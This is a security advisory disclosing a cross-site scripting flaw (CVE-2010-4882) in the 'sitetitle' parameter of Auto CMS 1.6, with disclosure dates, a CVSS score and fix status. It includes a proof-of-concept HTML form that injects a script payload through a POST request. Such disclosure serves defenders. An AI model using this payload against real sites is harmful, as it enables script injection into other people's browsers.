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XSS vulnerability in Auto CMS

Advisory ID:HTB22564
Product:Auto CMS
Vendor:Roberto Aleman
Vulnerable Versions:1.6 and probably prior
Tested Version:1.6
Advisory Publication:August 9, 2010 [without technical details]
Vendor Notification:August 9, 2010
Public Disclosure:August 23, 2010
Vulnerability Type:Cross-Site Scripting [CWE-79]
CVE Reference:CVE-2010-4882
Risk Level:Medium
CVSSv2 Base Score:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerability in Auto CMS which could be exploited to perform cross-site scripting attacks.

1) Cross-site scripting (XSS) vulnerability in Auto CMS: CVE-2010-4882
The vulnerability exists due to input sanitation error in the "sitetitle" parameter in autocms.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
<form action="http://host/index.php" method="post" name="main" enctype="multipart/form-data" >
<input type="hidden" name="site_name" value="AutoCMS" />
<input type="hidden" name="site_url" value="index.php" />
<input type="hidden" name="sitetitle" value='AutoCMS"><script>alert("XSS")</script>' />
<input type="hidden" name="admin_email" value="" />
<input type="hidden" name="admin_password" value="" />
<input type="hidden" name="css_file" value="black.css" />
<input type="hidden" name="index_name_link" value="Index" />
<input type="hidden" name="about_name_link" value="About" />
<input type="hidden" name="about_content" value="put about text here" />
<input type="hidden" name="ps_name_link" value="" />
<input type="hidden" name="ps_content" value="put producs and services text here" />
<input type="hidden" name="news_name_link" value="News" />
<input type="hidden" name="news_content" value="Title Example1: Text Example1/Title Example2: Text Example2/" />
<input type="hidden" name="contact_name_link" value="Contact" />
<input type="hidden" name="update" value="update" />

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[1] High-Tech Bridge Advisory HTB22564 - - Cross-site Scripting (XSS) Vulnerability in Auto CMS
[2] Auto CMS - - Auto CMS is a lightweight CMS with all the necessary in the minimal space
[3] Common Vulnerabilities and Exposures (CVE) - - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
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